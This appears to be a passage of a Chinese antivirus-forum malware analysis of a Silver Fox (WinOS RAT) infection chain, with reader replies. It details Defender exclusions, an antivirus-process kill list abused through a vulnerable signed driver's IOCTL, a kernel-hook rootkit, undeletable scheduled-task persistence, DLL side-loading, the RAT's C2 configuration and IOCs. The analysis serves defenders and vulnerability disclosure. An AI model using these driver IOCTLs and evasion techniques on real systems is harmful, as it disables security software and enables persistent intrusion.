这允许恶意软件在排除路径中运行而不被Windows Defender检测,是常见的恶意软件规避技术。函数会先调用"ISDEFENDERRUNNING"函数检查Defender是否运行(即MsMpEng.exe进程是否存在),只有在运行的情况下才会添加排除项。
本地实测,当Windows Defender运行(即MsMpEng.exe进程存在)后执行样本成功复现该行为,反之无此行为,如下图所示:




B.) men.exe
SHA-256: 305a1c784db4e88267f1d35b914b6ce4702f2b1196c1cdf14c024d63d1d4871f
该程序使用Themida保护器加壳,如下图所示:


men.exe启动后会拉起C:\Users\Public\Documents\funzip.exe,如下图所示:


拉起的funzip.exe进程命令行为: C:\Users\Public\Documents\funzip.exe x "C:\Users\Public\Documents\x86-Microsoft-Windowsdata\tree.exe" -pServer8888 -o"C:\Users\Public\Documents\x86-Microsoft-Windowsdata" -y,即将tree.exe解压至x86-Microsoft-Windowsdata目录下,解压密码为"Server8888",如下图所示:


根据文件头信息 tree.exe实际为Zip加密压缩包,解压后可得到: KANG.exe Shell.log,如下图所示:


(根据文件头信息 Shell.log实际也为Zip加密压缩包,解压密码也为"Server8888",解压后可得到: StartMenuExperienceHostker.exe WUDFCompanionHoste.exe log.dll,我们将在下文中进行分析)

men.exe拉起funzip.exe解压加密Zip压缩包tree.exe,创建、释放KANG.exe,如下图所示:


随后men.exe会寻找判断KANG.exe是否已经启动,并不断拉起KANG.exe,如下图所示:


同时,观察到men.exe会尝试注入可读可执行内存至svchost.exe进程中,如下图所示:


随后,men.exe会释放并加载C:\Cndom6.sys驱动(SHA-256: 8c12407a40eab287a8281be64665b1e72b0e91b2daf84030a1a15dc280e5dbf1; 签名者: "Beijing Tianshui Technology Co., Ltd."),如下图所示:



该驱动使用InfinityHook技术实现系统内核API Hook,对于该驱动的分析将放在下文对于StartMenuExperienceHostker.exe的分析中。


C.) KANG.exe
SHA-256: 9ace6a1e4bee5834be38b4c2fd26780d1fcc18ea9d58224e31d6382c19e53296

首先我们在样本的主功能入口函数中看到,在Line 34-83,样本初始化v23这个列表,定义了25个后续需要终止的安全软件进程,主要包括:
360系列(主要包括360安全卫士、360杀毒、360急救箱、360 Total Security等产品):
ZhuDongFangYu.exe、360tray.exe、360sd.exe、360rp.exe、360Tray.exe、
360Safe.exe、360rps.exe、SuperKillller.exe、QHActiveDefense.exe、QHSafeTray.exe
腾讯电脑管家:QMDL.exe、QMPersonalCenter.exe、QQPCPatch.exe、QQPCRealTimeSpeedup.exe、QQPCRTP.exe、QQPCTray.exe、QQRepair.exe
金山毒霸:kxescore.exe、kxecenter.exe
火绒互联网安全软件:HipsMain.exe、HipsTray.exe、HipsDaemon.exe
联想电脑管家:LenovoTray.exe、LAVService.exe
Windows Defender:MsMpEng.exe

随后,我们看到样本在Line 85从sub_14004BF20函数处获取到了一个设备句柄
然后不断遍历进程、获取指定进程PID (th32ProcessID、v16为进程PID指针),在Line 111通过DeviceIoControl向该设备发送控制码0xB822200C与进程PID(&v16)

如下图所示:


我们进入sub_14004BF20函数,发现该函数在Line 62处理来自&unk_140029490的35400字节的数据(驱动程序文件),在Line 64调用sub_14004C6D0函数加载驱动程序,如下图所示:


来自&unk_140029490的35400字节的数据(驱动程序文件),具有MZ头和PE头,确认为样本实际释放和加载的STProcessMonitor Driver驱动程序(SHA-256: 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b),如下图所示:


本地实测,成功复现该加驱行为,如下图所示:



该驱动通过了WHQL认证,具有"Safetica Technologies s.r.o."与"Microsoft Windows Hardware Compatibility Publisher"颁发的数字签名,签名时间为‎2025‎年‎5‎月‎9‎日 11:43:46,相当新鲜,如下图所示:



sub_14004C6D0函数负责在注册表驱动/服务项中注册、加载驱动程序,相关注册表操作代码和字符串 如下图所示:



然后,我们回头来看KANG.exe给STProcessMonitor Driver的"\\\\.\\STProcessMonitorDriver"设备发送的IOCTL 0xB822200C:

我们接下来查看在STProcessMonitor Driver中,IOCTL 0xB822200C对应的功能,对STProcessMonitor Driver进行分析。


STProcessMonitor Driver驱动程序首先检查操作系统版本,如果系统是Windows 8(版本6.2)或更高版本,则设置特定的内存池类型和标志。
随后,驱动程序调用IoCreateDevice创建一个名为"\\Device\\STProcessMonitorDriver"的设备对象,接着调用IoCreateSymbolicLink建立符号链接"\\DosDevices\\STProcessMonitorDriver",这样用户态应用程序就可以通过以上设备对象或链接名称访问该驱动设备。
然后是关键IRP:
  1.       DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_140001A10;
  2.       DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_140001A10;
  3.       DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_140001B70;
  4.       DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_1400021F0;
复制代码

驱动程序设置了关键IRP(I/O请求包)的派遣函数:
IRP_MJ_CREATE(0):处理打开设备的请求。
IRP_MJ_CLOSE(2):处理关闭设备的请求。
IRP_MJ_DEVICE_CONTROL(14):处理设备控制操作(IOCTL),这是用户态与内核态驱动通信的主要方式。
同时,设置了DriverUnload例程,以便在驱动卸载时清理资源。
如下图所示:



因此,我们应进入sub_140001B70查看。

在sub_140001B70中,我们看到case 0xB822200C的主要操作为:打开进程/获取进程句柄=>结束进程=>关闭/释放进程句柄,其主要功能为终止、结束进程,如下图所示:

该驱动程序在没有经过目标验证的情况下,将结束进程功能的IOCTL暴露给用户模式,使攻击者能够终止内核模式中的任意进程。
在样本发现时,在VirusTotal上该脆弱驱动程序尚未被安全产品标记,截至本文撰稿前被一家安全产品标记,如下图所示:



来自VirusTotal Relations的信息表明相关驱动至今仍有被分发的迹象,如下图所示:


------





本次使用的STProcessMonitor Driver在先前并未使用过。同时,鉴于该驱动在互联网、开源仓库、漏洞数据库中均未找到相关记录,且来自VirusTotal Relations的信息表明相关驱动至今仍有被分发的迹象,即相关驱动目前可能仍在被使用、分发,我们将其提交至CVE漏洞数据库并分配编号CVE-2025-70795。这表明该批银狐行为者可能会在真实世界中主动搜寻和挖掘全新的漏洞驱动。


将KANG.exe与STProcessMonitor Driver的IOCTL 0xB822200C控制码发送过程直观地合影留念,如下图所示:



D.) StartMenuExperienceHostker.exe
SHA-256: cf111e28e40d20c9695e191c66b11882049c9559d5b4f2ed2090cf4626fdba39
我们从StartMenuExperienceHostker.exe的StartAddress函数中观察到其主要实现两个功能:
1. 用于启动WUDFCompanionHoste.exe
2. 用于释放并加载C:\Cndom6.sys驱动,以使用InfinityHook技术实现系统内核API Hook
具体如下:
i) 用于启动和重启动WUDFCompanionHoste.exe
样本首先不断循环遍历进程(的szExeFile),寻找byte_841CD0中的值(即"WUDFCompanionHoste.exe"),获取"WUDFCompanionHoste.exe"进程PID (th32ProcessID为进程PID指针),如下图所示:


随后先调用sub_843220(th32ProcessID),通过SuspendThread(Win32 API)函数挂起其进程中的所有线程(下方还有错误处理未展示:如果线程挂起失败或原本已被挂起,则立即恢复线程原先状态,避免重复挂起),如下图所示:


然后再调用sub_8432F0(th32ProcessID),通过GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtResumeProcess")方式从ntdll.dll中动态获取NtResumeProcess(NT API)函数,如果成功则调用NtResumeProcess函数恢复其进程中的所有线程,之后再次尝试通过ResumeThread(Win32 API)函数恢复其进程中的所有线程,如下图所示:


完成上述步骤后,将WUDFCompanionHoste.exe文件路径赋给CmdLine,使用WinExec(CmdLine, 0)重新再次启动WUDFCompanionHoste.exe,如下图所示:


ii) 用于释放并加载C:\Cndom6.sys驱动,以使用InfinityHook技术实现系统内核API Hook
创建驱动/服务项(ServiceName="Cndom6"; BinaryPath="C:\\Cndom6.sys")、打开设备"\\\\.\\Cndom6",如下图所示:




本地实测,成功复现该加驱行为,如下图所示:




随后,样本尝试向该驱动的设备发送IOCTL 0x222180控制码,如果失败再继续发送IOCTL 0x229390控制码,如下图所示:



我们接下来查看在Cndom6中,IOCTL 0x222180对应的功能,对Cndom6进行分析。

首先,进入DriverEntry,驱动程序调用IoCreateDevice创建一个名为"\\Device\\Cndom6"的设备对象,接着调用IoCreateSymbolicLink建立符号链接"\\??\\Cndom6",这样用户态应用程序就可以通过以上设备对象或链接名称访问该驱动设备。
然后是关键IRP:
  1.       DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_140003A9C;
  2.       DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_140003A9C;
  3.       DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_14000338C;
复制代码

驱动程序设置了关键IRP(I/O请求包)的派遣函数:
IRP_MJ_CREATE(0):处理打开设备的请求。
IRP_MJ_CLOSE(2):处理关闭设备的请求。
IRP_MJ_DEVICE_CONTROL(14):处理设备控制操作(IOCTL),这是用户态与内核态驱动通信的主要方式。
如下图所示:



因此,我们应进入sub_14000338C查看。

在sub_14000338C中,我们看到case 0x222180的主要操作是将byte_140072AED标志位设置为1,如下图所示:


我们查看该标志位的交叉引用,发现有函数会在判断该标志位是否有效后,动态替换函数指针实现系统内核函数Hook,可能用于处理KeGetCurrentThread,用于执行线程隐藏或保护线程执行信息,如下图所示:


重新回头看该驱动具备的其他功能,从DriverEntry=>if ( sub_140001A10() )=>if ( ... && sub_14000202C() )中,发现该驱动通过调用sub_140004A3C函数获取NtTraceControl、KeQueryPerformanceCounter、NtQuerySystemInformation、NtOpenProcess、NtOpenThread等内核API地址,如下图所示:


以NtQuerySystemInformation为例,查找qword_140007338的交叉引用,找到针对NtQuerySystemInformation API的Hook函数sub_140003FC4,用于执行进程隐藏,功能开关标志位为dword_140007398,如下图所示:

通过交叉引用查找到dword_140007398标志位由IOCTL 0x22218C控制(本次样本未发送),由sub_140004D1C进行赋值,如下图所示:



同理,以NtOpenProcess为例,查找qword_140007340的交叉引用,找到针对NtOpenProcess API的Hook函数sub_140003F40,用于执行进程句柄保护,功能开关标志位为dword_140041D78,如下图所示:

通过交叉引用查找到dword_140041D78标志位由IOCTL 0x222190控制(本次样本未发送),由sub_140004C68进行赋值,如下图所示:



触发Hook NtQuerySystemInformation、NtOpenProcess、 NtDuplicateObject API的调用器(启动器)函数sub_140001940,如下图所示:



** 同时,我们发现,样本完整运行后,StartMenuExperienceHostker.exe会被添加至计划任务启动项中,计划任务名称: "WindowsPowerShell.WbemScripting.WindowsData",如下图所示:

且样本会更改其对应计划任务xml文件C:\Windows\System32\Tasks\WindowsPowerShell.WbemScripting.WindowsData对象的DACL,导致系统在尝试删除该条计划任务时,因权限不足无法删除此条计划任务,如下图所示:

具体原因为,在删除计划任务时,实际执行者svchost.exe在删除该计划任务xml文件时抛出拒绝访问错误(ACCESS_DENIED),如下图所示:

恢复其对应计划任务xml文件的DACL后即可正常删除该计划任务。


E.) WUDFCompanionHoste.exe=>log.dll
log.dll SHA-256: a14b681ec50328d3ac04f76ac18ef96fb7176425ff96325e2099ea57df3a1998
这是一组dll劫持/dll侧载/白加黑,WUDFCompanionHoste.exe启动后会尝试加载log.dll中的代码,如下图所示:


WUDFCompanionHoste.exe实际上是加载log.dll中的GenericLogImpl导出函数:


其会先读取Server.log文件,使用密钥"??Bid@locale@std"通过RC4解密,解密后执行WinOs远控模块,相关代码如下图所示:


WinOs远控模块执行后,连接远程服务器实现远控逻辑,后续长期驻留和进行信息窃取。”WinOS“远控上线配置如下:
|p1:uuuucome.com|o1:5050|t1:1|p2:uuuucome.com|o2:5050|t2:1|p3:uuuucome.com|o3:5050|t3:1|dd:1|cl:1|fz:网站|bb:2025.11.20|bz:2025.11.20|jp:1|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|
如下图所示:

从中我们可以看到,最终WinOs远控载荷于2025年11月20日生成。
木马C2: uuuucome.com:5050 (解析IP: 8.210.25.225:5050),如下图所示:



三、附录



Ioc
C2: uuuucome.com:5050 (解析IP: 8.210.25.225:5050)
SHA-256:
3ba89047b9fb9ae2281e06a7f10a407698174b201f28fc1cadb930207254e485
305a1c784db4e88267f1d35b914b6ce4702f2b1196c1cdf14c024d63d1d4871f
8c12407a40eab287a8281be64665b1e72b0e91b2daf84030a1a15dc280e5dbf1
9ace6a1e4bee5834be38b4c2fd26780d1fcc18ea9d58224e31d6382c19e53296
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
cf111e28e40d20c9695e191c66b11882049c9559d5b4f2ed2090cf4626fdba39
a14b681ec50328d3ac04f76ac18ef96fb7176425ff96325e2099ea57df3a1998

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 22经验 +200 魅力 +3 人气 +78 收起 理由
heheda2001 + 3 版区有你更精彩: )
Luna_ovo + 3 终于看到高质量贴了^.^
jumgg265 + 3 感谢解答: )
QVM360 + 50 版区有你更精彩: )
superLYT + 3 精品文章

查看全部评分

wwwab
 楼主| 发表于 2026-2-12 16:06:46 | 显示全部楼层
Update:
我们找到了STProcessMonitor的新驱动 (SHA256: 5B4F59236A9B950BCD5191B35D19125F60CFB9E1A1E1AA2E4F914B6745DDE9DF)与旧版驱动对比后可以发现,其创建了一个ACL,给SeAliasAdminsSid降权,只允许SeLocalSystemSid执行高权限操作




工作原理和旧版完全一样——唯一的区别是现在需要SYSTEM令牌。
该新驱动其实也能利用,不过需要调用者提权至NT AUTHORITY\SYSTEM令牌——获得NT AUTHORITY\SYSTEM令牌后才可执行高权限操作,在一定程度上增大了利用难度,但如果恶意行为者通过其他方式在用户层提权至SYSTEM权限,取得NT AUTHORITY\SYSTEM令牌,则仍然可以被用来结束没有受PPL保护的防病毒产品进程。
提权至SYSTEM令牌后,发送IOCTL 0xB822A00C,就可以利用了:



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
wowocock
发表于 2026-2-11 17:33:01 | 显示全部楼层
我最近一直抓漏洞驱动的入库情况,看来是应该入库了吧。我记得火绒专杀早就支持这类木马的查杀了吧,计划任务没权限,会导致火绒清除失败,不过如果对应的木马文件还在的话,专杀会清除掉木马文件和计划任务。
wowocock
发表于 2026-2-11 17:34:03 | 显示全部楼层
这木马都已经改进好几本版本了。
Alexander1026
发表于 2026-2-11 19:21:46 | 显示全部楼层
虽然我看不懂但我大受震撼。不得不说攻击水平确实比起来之前大大提升了
Myrenaser
发表于 2026-2-11 20:20:58 | 显示全部楼层
支持大佬!
lingchenheiye
发表于 2026-2-11 21:18:53 | 显示全部楼层
厉害!
ANY.LNK
发表于 2026-2-11 21:55:35 | 显示全部楼层
之前在VT上的样本集中见到这个驱动只道是Process Monitor的旧漏洞驱动,没想到是个新的
(过个几天我写个PoC看看)
QVM360
发表于 2026-2-11 22:52:53 | 显示全部楼层
论坛没有折叠代码功能么...得翻好久
DeepSeek
发表于 2026-2-12 00:39:57 | 显示全部楼层
分析得非常厉害。
注入svchost是不是被拦截掉了,正常注入后是否还有其他动作?记得之前的银狐注入到svchost后,会从svchost再注入sihost,然后通过sihost发起c2请求。还是说新的银狐逻辑修改了。
mzltest
发表于 2026-2-12 09:22:29 | 显示全部楼层
QVM360 发表于 2026-2-11 22:52
论坛没有折叠代码功能么...得翻好久

好像是没有,summary是个html标签,没有对应的bbcode,论坛也没开html代码解析,最接近的只有分页功能。

评分

参与人数 1人气 +3 收起 理由
QVM360 + 3 感谢解答: )

查看全部评分

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-3-29 09:23 , Processed in 0.171235 second(s), 10 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表